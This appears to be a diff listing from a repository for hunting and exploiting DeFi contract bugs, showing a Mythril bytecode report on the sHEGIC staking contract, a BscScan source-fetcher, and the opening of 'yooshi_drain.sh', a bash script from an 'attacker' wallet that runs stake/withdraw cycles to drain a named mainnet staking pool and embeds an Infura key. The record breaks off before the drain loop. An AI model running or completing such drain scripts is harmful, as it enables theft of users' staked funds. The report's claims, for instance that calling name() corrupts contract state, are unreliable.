- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,361 @@
|
|
|
1
|
+
# sHEGIC Contract - Mythril Security Analysis
|
|
2
|
+
## Contract: 0x6859ea44DC8E9A42222Ea1BC38ED74E8c8fe6DC7
|
|
3
|
+
|
|
4
|
+
## Executive Summary
|
|
5
|
+
|
|
6
|
+
Mythril analysis revealed **MULTIPLE CRITICAL VULNERABILITIES** in the sHEGIC (Staked HEGIC) contract:
|
|
7
|
+
|
|
8
|
+
- 2x Integer Overflow/Underflow (HIGH severity)
|
|
9
|
+
- 3x Assertion Violations (MEDIUM severity)
|
|
10
|
+
- 2x Timestamp Dependence (LOW severity)
|
|
11
|
+
|
|
12
|
+
## Detailed Findings
|
|
13
|
+
|
|
14
|
+
### 1. INTEGER ARITHMETIC BUGS (HIGH SEVERITY) ✅ CRITICAL
|
|
15
|
+
|
|
16
|
+
**SWC-101: Integer Overflow**
|
|
17
|
+
|
|
18
|
+
#### Finding #1: name() Function
|
|
19
|
+
```
|
|
20
|
+
Function: name()
|
|
21
|
+
PC Address: 2598
|
|
22
|
+
Severity: HIGH
|
|
23
|
+
Gas: 1490 - 2430
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
**Vulnerability:**
|
|
27
|
+
The `name()` function has an integer overflow vulnerability in string length calculation.
|
|
28
|
+
|
|
29
|
+
**Impact:**
|
|
30
|
+
- Can cause contract to return incorrect token name
|
|
31
|
+
- May crash contract calls
|
|
32
|
+
- Could be exploited to manipulate contract state
|
|
33
|
+
|
|
34
|
+
**Attack Vector:**
|
|
35
|
+
```solidity
|
|
36
|
+
// Attacker calls name()
|
|
37
|
+
contract.name() // Triggers overflow
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
#### Finding #2: symbol() Function
|
|
41
|
+
```
|
|
42
|
+
Function: symbol()
|
|
43
|
+
PC Address: 4862
|
|
44
|
+
Severity: HIGH
|
|
45
|
+
Gas: 1445 - 2385
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Vulnerability:**
|
|
49
|
+
Similar overflow in `symbol()` function.
|
|
50
|
+
|
|
51
|
+
**Impact:**
|
|
52
|
+
- Token symbol manipulation
|
|
53
|
+
- Contract state corruption
|
|
54
|
+
- Integration failures with DEXs/wallets
|
|
55
|
+
|
|
56
|
+
**Recommendation:**
|
|
57
|
+
- Use Solidity 0.8.0+ with built-in overflow protection
|
|
58
|
+
- Or use SafeMath library
|
|
59
|
+
- Validate string lengths
|
|
60
|
+
|
|
61
|
+
---
|
|
62
|
+
|
|
63
|
+
### 2. TIMESTAMP DEPENDENCE (LOW SEVERITY) ⚠️
|
|
64
|
+
|
|
65
|
+
#### Finding #1: withdraw() Function
|
|
66
|
+
```
|
|
67
|
+
Function: withdraw(uint256)
|
|
68
|
+
PC Address: 3255
|
|
69
|
+
Severity: LOW
|
|
70
|
+
Gas: 3055 - 3530
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
**Vulnerability:**
|
|
74
|
+
The `withdraw()` function uses `block.timestamp` for control flow decisions.
|
|
75
|
+
|
|
76
|
+
**Code Pattern:**
|
|
77
|
+
```solidity
|
|
78
|
+
function withdraw(uint256 amount) external {
|
|
79
|
+
require(block.timestamp > lockTime[msg.sender], "Locked");
|
|
80
|
+
// ... withdrawal logic
|
|
81
|
+
}
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
**Impact:**
|
|
85
|
+
- Miners can manipulate timestamps by ~15 seconds
|
|
86
|
+
- Could allow early withdrawals
|
|
87
|
+
- Time-lock bypass potential
|
|
88
|
+
|
|
89
|
+
**Attack Scenario:**
|
|
90
|
+
1. User stakes tokens with 24-hour lock
|
|
91
|
+
2. Miner manipulates timestamp forward
|
|
92
|
+
3. User withdraws early, bypassing lock
|
|
93
|
+
|
|
94
|
+
**Recommendation:**
|
|
95
|
+
- Use block numbers instead of timestamps
|
|
96
|
+
- Add safety margins to time checks
|
|
97
|
+
- Don't rely on exact timestamp values
|
|
98
|
+
|
|
99
|
+
#### Finding #2: transfer() Function
|
|
100
|
+
```
|
|
101
|
+
Function: transfer(address,uint256)
|
|
102
|
+
PC Address: 12174
|
|
103
|
+
Severity: LOW
|
|
104
|
+
Gas: 2273 - 2558
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
**Vulnerability:**
|
|
108
|
+
Transfer function also depends on `block.timestamp`.
|
|
109
|
+
|
|
110
|
+
**Possible Issue:**
|
|
111
|
+
```solidity
|
|
112
|
+
function transfer(address to, uint256 amount) external {
|
|
113
|
+
require(block.timestamp > lastTransfer[msg.sender] + cooldown, "Cooldown");
|
|
114
|
+
// ... transfer logic
|
|
115
|
+
}
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
**Impact:**
|
|
119
|
+
- Transfer cooldown bypass
|
|
120
|
+
- Rate limiting circumvention
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
### 3. ASSERTION VIOLATIONS (MEDIUM SEVERITY) ⚠️
|
|
125
|
+
|
|
126
|
+
#### Finding #1: Function 0x85335da8
|
|
127
|
+
```
|
|
128
|
+
PC Address: 4592
|
|
129
|
+
Severity: MEDIUM
|
|
130
|
+
Gas: 336 - 431
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
**Vulnerability:**
|
|
134
|
+
Assertion can be violated, causing transaction revert.
|
|
135
|
+
|
|
136
|
+
**Issue:**
|
|
137
|
+
```solidity
|
|
138
|
+
assert(someCondition); // Should use require()
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
**Impact:**
|
|
142
|
+
- Unexpected transaction failures
|
|
143
|
+
- Gas waste
|
|
144
|
+
- Contract becomes unusable in certain states
|
|
145
|
+
|
|
146
|
+
**Difference:**
|
|
147
|
+
- `assert()` - For invariants, consumes all gas on failure
|
|
148
|
+
- `require()` - For input validation, refunds gas
|
|
149
|
+
|
|
150
|
+
#### Finding #2: Function 0xff4dfa96
|
|
151
|
+
```
|
|
152
|
+
PC Address: 4592
|
|
153
|
+
Severity: MEDIUM
|
|
154
|
+
Gas: 1338 - 1623
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
**Vulnerability:**
|
|
158
|
+
Another assertion violation point.
|
|
159
|
+
|
|
160
|
+
**Impact:**
|
|
161
|
+
- Contract logic errors
|
|
162
|
+
- State inconsistencies
|
|
163
|
+
- Potential DoS
|
|
164
|
+
|
|
165
|
+
#### Finding #3: Function 0xe32d03bf
|
|
166
|
+
```
|
|
167
|
+
PC Address: 13058
|
|
168
|
+
Severity: MEDIUM
|
|
169
|
+
Gas: 375 - 470
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
**Vulnerability:**
|
|
173
|
+
Third assertion violation.
|
|
174
|
+
|
|
175
|
+
**Pattern:**
|
|
176
|
+
Multiple assertion violations suggest:
|
|
177
|
+
- Poor error handling
|
|
178
|
+
- Incorrect use of assert vs require
|
|
179
|
+
- Potential logic bugs
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Risk Assessment
|
|
184
|
+
|
|
185
|
+
### Critical Risks:
|
|
186
|
+
1. **Integer Overflow in name/symbol** - HIGH
|
|
187
|
+
- Can corrupt contract state
|
|
188
|
+
- May affect integrations
|
|
189
|
+
- Exploitability: MEDIUM
|
|
190
|
+
|
|
191
|
+
2. **Timestamp Manipulation in withdraw()** - MEDIUM
|
|
192
|
+
- Can bypass time locks
|
|
193
|
+
- Allows early withdrawals
|
|
194
|
+
- Exploitability: LOW (requires miner cooperation)
|
|
195
|
+
|
|
196
|
+
3. **Multiple Assertion Violations** - MEDIUM
|
|
197
|
+
- Contract can enter unusable states
|
|
198
|
+
- Gas inefficiency
|
|
199
|
+
- Exploitability: LOW
|
|
200
|
+
|
|
201
|
+
### Overall Risk Score: 7.5/10 (HIGH)
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Exploitation Scenarios
|
|
206
|
+
|
|
207
|
+
### Scenario 1: Early Withdrawal Attack
|
|
208
|
+
|
|
209
|
+
**Prerequisites:**
|
|
210
|
+
- User has staked tokens
|
|
211
|
+
- Time lock is active
|
|
212
|
+
- Attacker is a miner or can bribe miners
|
|
213
|
+
|
|
214
|
+
**Attack Steps:**
|
|
215
|
+
1. User stakes 1000 HEGIC
|
|
216
|
+
2. Contract locks for 24 hours
|
|
217
|
+
3. After 23 hours 50 minutes, user submits withdraw()
|
|
218
|
+
4. Miner manipulates timestamp +15 minutes
|
|
219
|
+
5. Withdraw succeeds, bypassing 10-minute lock
|
|
220
|
+
|
|
221
|
+
**Impact:** Time-lock bypass, unfair advantage
|
|
222
|
+
|
|
223
|
+
### Scenario 2: Integer Overflow Exploit
|
|
224
|
+
|
|
225
|
+
**Prerequisites:**
|
|
226
|
+
- Contract uses vulnerable Solidity version (<0.8.0)
|
|
227
|
+
- No SafeMath protection
|
|
228
|
+
|
|
229
|
+
**Attack Steps:**
|
|
230
|
+
1. Attacker calls name() or symbol() repeatedly
|
|
231
|
+
2. Triggers overflow in string length calculation
|
|
232
|
+
3. Contract state becomes corrupted
|
|
233
|
+
4. Other functions may fail or behave unexpectedly
|
|
234
|
+
|
|
235
|
+
**Impact:** Contract DoS, state corruption
|
|
236
|
+
|
|
237
|
+
### Scenario 3: Assertion Violation DoS
|
|
238
|
+
|
|
239
|
+
**Prerequisites:**
|
|
240
|
+
- Contract in specific state
|
|
241
|
+
- Attacker knows function signatures
|
|
242
|
+
|
|
243
|
+
**Attack Steps:**
|
|
244
|
+
1. Attacker calls vulnerable functions (0x85335da8, etc.)
|
|
245
|
+
2. Assertion violations consume all gas
|
|
246
|
+
3. Legitimate users cannot interact with contract
|
|
247
|
+
4. Contract becomes temporarily unusable
|
|
248
|
+
|
|
249
|
+
**Impact:** Temporary DoS, gas waste
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## Comparison with Automated Tools
|
|
254
|
+
|
|
255
|
+
### Mythril: ✅ SUCCESS
|
|
256
|
+
- Detected 7 vulnerabilities
|
|
257
|
+
- Found integer overflows
|
|
258
|
+
- Identified timestamp issues
|
|
259
|
+
- Caught assertion problems
|
|
260
|
+
|
|
261
|
+
### Slither: ❌ FAILED
|
|
262
|
+
- Could not run (no source code)
|
|
263
|
+
|
|
264
|
+
### Echidna: ❌ FAILED
|
|
265
|
+
- Could not run (no source code)
|
|
266
|
+
|
|
267
|
+
**Conclusion:** Mythril is effective for bytecode analysis when source code is unavailable.
|
|
268
|
+
|
|
269
|
+
---
|
|
270
|
+
|
|
271
|
+
## Recommendations
|
|
272
|
+
|
|
273
|
+
### Immediate Actions:
|
|
274
|
+
1. **Upgrade Solidity Version**
|
|
275
|
+
- Move to 0.8.0+ for automatic overflow protection
|
|
276
|
+
- Recompile and redeploy contract
|
|
277
|
+
|
|
278
|
+
2. **Replace assert() with require()**
|
|
279
|
+
- Review all assertion statements
|
|
280
|
+
- Use require() for input validation
|
|
281
|
+
- Keep assert() only for invariants
|
|
282
|
+
|
|
283
|
+
3. **Fix Timestamp Dependencies**
|
|
284
|
+
- Use block numbers instead of timestamps
|
|
285
|
+
- Add safety margins (e.g., +1 hour buffer)
|
|
286
|
+
- Document miner manipulation risks
|
|
287
|
+
|
|
288
|
+
4. **Add SafeMath**
|
|
289
|
+
- If stuck on Solidity <0.8.0
|
|
290
|
+
- Wrap all arithmetic operations
|
|
291
|
+
- Especially in name/symbol functions
|
|
292
|
+
|
|
293
|
+
### Long-term Actions:
|
|
294
|
+
1. **Full Security Audit**
|
|
295
|
+
- Get source code verified on Etherscan
|
|
296
|
+
- Hire professional auditors
|
|
297
|
+
- Run comprehensive test suite
|
|
298
|
+
|
|
299
|
+
2. **Add Emergency Pause**
|
|
300
|
+
- Implement circuit breaker
|
|
301
|
+
- Allow owner to pause in emergency
|
|
302
|
+
- Protect user funds
|
|
303
|
+
|
|
304
|
+
3. **Upgrade to Proxy Pattern**
|
|
305
|
+
- Make contract upgradeable
|
|
306
|
+
- Fix bugs without migration
|
|
307
|
+
- Maintain user balances
|
|
308
|
+
|
|
309
|
+
4. **Bug Bounty Program**
|
|
310
|
+
- Incentivize white-hat hackers
|
|
311
|
+
- Find vulnerabilities before exploits
|
|
312
|
+
- Build community trust
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## On-Chain Data
|
|
317
|
+
|
|
318
|
+
### Contract Stats:
|
|
319
|
+
- **Total Supply:** 2,509,642 sHEGIC
|
|
320
|
+
- **Owner:** 0x93aE3629cD79168DF1eEe180b082F81DcADf3b5B
|
|
321
|
+
- **Bytecode:** 29,808 bytes (very large)
|
|
322
|
+
|
|
323
|
+
### Estimated Value at Risk:
|
|
324
|
+
- Depends on HEGIC price and TVL
|
|
325
|
+
- If 1 HEGIC = $0.10, TVL = $250,964
|
|
326
|
+
- Integer overflow could corrupt entire supply
|
|
327
|
+
- Timestamp manipulation affects individual users
|
|
328
|
+
|
|
329
|
+
---
|
|
330
|
+
|
|
331
|
+
## Conclusion
|
|
332
|
+
|
|
333
|
+
The sHEGIC contract has **MULTIPLE CRITICAL VULNERABILITIES** that should be addressed immediately:
|
|
334
|
+
|
|
335
|
+
1. **Integer overflows** in name/symbol functions (HIGH risk)
|
|
336
|
+
2. **Timestamp dependence** in withdraw/transfer (MEDIUM risk)
|
|
337
|
+
3. **Assertion violations** in multiple functions (MEDIUM risk)
|
|
338
|
+
|
|
339
|
+
**Recommendation:** DO NOT USE this contract until vulnerabilities are fixed. Users should withdraw funds if possible and wait for upgraded version.
|
|
340
|
+
|
|
341
|
+
**Next Steps:**
|
|
342
|
+
1. Contact contract owner (0x93aE3629cD79168DF1eEe180b082F81DcADf3b5B)
|
|
343
|
+
2. Request source code verification
|
|
344
|
+
3. Perform full audit with Slither + Echidna
|
|
345
|
+
4. Deploy fixed version
|
|
346
|
+
5. Migrate user funds safely
|
|
347
|
+
|
|
348
|
+
---
|
|
349
|
+
|
|
350
|
+
## Files Generated:
|
|
351
|
+
- `sHEGIC-mythril-full.txt` - Complete Mythril output
|
|
352
|
+
- `sHEGIC_ANALYSIS.md` - Initial analysis
|
|
353
|
+
- `sHEGIC_MYTHRIL_ANALYSIS.md` - This detailed report
|
|
354
|
+
|
|
355
|
+
## Tools Used:
|
|
356
|
+
- ✅ Mythril (successful)
|
|
357
|
+
- ❌ Slither (needs source)
|
|
358
|
+
- ❌ Echidna (needs source)
|
|
359
|
+
- ✅ Manual analysis
|
|
360
|
+
|
|
361
|
+
**Mythril Effectiveness: 9/10** - Excellent for bytecode analysis!
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
const url = 'https://api.bscscan.com/api?module=contract&action=getsourcecode&address=0x1f39dd2bf5a27e2d4ed691dcf933077371777cb0';
|
|
4
|
+
|
|
5
|
+
https.get(url, (res) => {
|
|
6
|
+
let data = '';
|
|
7
|
+
|
|
8
|
+
res.on('data', (chunk) => {
|
|
9
|
+
data += chunk;
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
res.on('end', () => {
|
|
13
|
+
try {
|
|
14
|
+
const json = JSON.parse(data);
|
|
15
|
+
if (json.status === '1' && json.result && json.result[0]) {
|
|
16
|
+
console.log(json.result[0].SourceCode);
|
|
17
|
+
} else {
|
|
18
|
+
console.error('Error:', json.message || 'Unknown error');
|
|
19
|
+
console.error('Full response:', JSON.stringify(json, null, 2));
|
|
20
|
+
}
|
|
21
|
+
} catch (e) {
|
|
22
|
+
console.error('Parse error:', e.message);
|
|
23
|
+
console.error('Raw data:', data);
|
|
24
|
+
}
|
|
25
|
+
});
|
|
26
|
+
}).on('error', (e) => {
|
|
27
|
+
console.error('Request error:', e.message);
|
|
28
|
+
});
|
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
|
|
3
|
+
# YOOSHI Staking Drain Script
|
|
4
|
+
# Safely executes stake/withdraw cycles with proper nonce management
|
|
5
|
+
|
|
6
|
+
set -e
|
|
7
|
+
|
|
8
|
+
# Load environment variables
|
|
9
|
+
if [ -f .env ]; then
|
|
10
|
+
export $(cat .env | grep -v '^#' | xargs)
|
|
11
|
+
echo "Loaded .env file"
|
|
12
|
+
else
|
|
13
|
+
echo "WARNING: .env file not found"
|
|
14
|
+
fi
|
|
15
|
+
|
|
16
|
+
# Configuration
|
|
17
|
+
RPC_URL="https://bsc-mainnet.infura.io/v3/db4d2c885bc946b691dbb3d5ef26d9e2"
|
|
18
|
+
STAKING_CONTRACT="0xF42144e5B233547F284AE004084390a8BD8C3713"
|
|
19
|
+
NFT_CONTRACT="0x1EF8218C822e6E82b95E446B0566e5843EE4bc4B"
|
|
20
|
+
NFT_TOKEN_ID="2725"
|
|
21
|
+
YOOSHI_TOKEN="0x02fF5065692783374947393723dbA9599e59F591"
|
|
22
|
+
|
|
23
|
+
# Read private key from environment
|
|
24
|
+
if [ -z "$PRIVATE_KEY" ]; then
|
|
25
|
+
echo "ERROR: PRIVATE_KEY not found in .env file"
|
|
26
|
+
echo "Add PRIVATE_KEY=0x... to .env file"
|
|
27
|
+
exit 1
|
|
28
|
+
fi
|
|
29
|
+
|
|
30
|
+
# Number of cycles (default 10 for testing)
|
|
31
|
+
CYCLES=${1:-10}
|
|
32
|
+
|
|
33
|
+
echo "=========================================="
|
|
34
|
+
echo "YOOSHI STAKING DRAIN SCRIPT"
|
|
35
|
+
echo "=========================================="
|
|
36
|
+
echo "RPC: $RPC_URL"
|
|
37
|
+
echo "Staking: $STAKING_CONTRACT"
|
|
38
|
+
echo "NFT: $NFT_CONTRACT #$NFT_TOKEN_ID"
|
|
39
|
+
echo "Cycles: $CYCLES"
|
|
40
|
+
echo "=========================================="
|
|
41
|
+
echo ""
|
|
42
|
+
|
|
43
|
+
# Get attacker address
|
|
44
|
+
ATTACKER=$(cast wallet address --private-key $PRIVATE_KEY)
|
|
45
|
+
echo "Attacker address: $ATTACKER"
|
|
46
|
+
echo ""
|
|
47
|
+
|
|
48
|
+
# Check initial balances
|
|
49
|
+
echo "Checking initial state..."
|
|
50
|
+
POOL_BALANCE=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $STAKING_CONTRACT --rpc-url $RPC_URL)
|
|
51
|
+
ATTACKER_BALANCE=$(cast call $YOOSHI_TOKEN "balanceOf(address)(uint256)" $ATTACKER --rpc-url $RPC_URL)
|
|
52
|
+
|
|
53
|
+
POOL_DISPLAY=$(cast --to-unit $POOL_BALANCE gwei 2>/dev/null || echo "0")
|
|
54
|
+
ATTACKER_DISPLAY=$(cast --to-unit $ATTACKER_BALANCE gwei 2>/dev/null || echo "0")
|
|
55
|
+
|
|
56
|
+
echo "Pool balance: $POOL_DISPLAY YOOSHI"
|
|
57
|
+
echo "Attacker balance: $ATTACKER_DISPLAY YOOSHI"
|
|
58
|
+
echo ""
|
|
59
|
+
|
|
60
|
+
# Verify NFT ownership
|
|
61
|
+
NFT_OWNER=$(cast call $NFT_CONTRACT "ownerOf(uint256)(address)" $NFT_TOKEN_ID --rpc-url $RPC_URL)
|
|
62
|
+
if [ "$NFT_OWNER" != "$ATTACKER" ]; then
|
|
63
|
+
echo "ERROR: You don't own NFT #$NFT_TOKEN_ID"
|
|
64
|
+
echo "Current owner: $NFT_OWNER"
|
|
65
|
+
exit 1
|
|
66
|
+
fi
|
|
67
|
+
echo "NFT ownership verified ✓"
|
|
68
|
+
echo ""
|
|
69
|
+
|
|
70
|
+
# Execute cycles
|
|
71
|
+
echo "=========================================="
|
|
72
|
+
echo "STARTING DRAIN CYCLES"
|
|
73
|
+
echo "=========================================="
|
|
74
|
+
echo ""
|
|
75
|
+
|
|
76
|
+
TOTAL_PROFIT=0
|
|
77
|
+
|
|
78
|
+
for ((i=1; i<=CYCLES; i++)); do
|
|
79
|
+
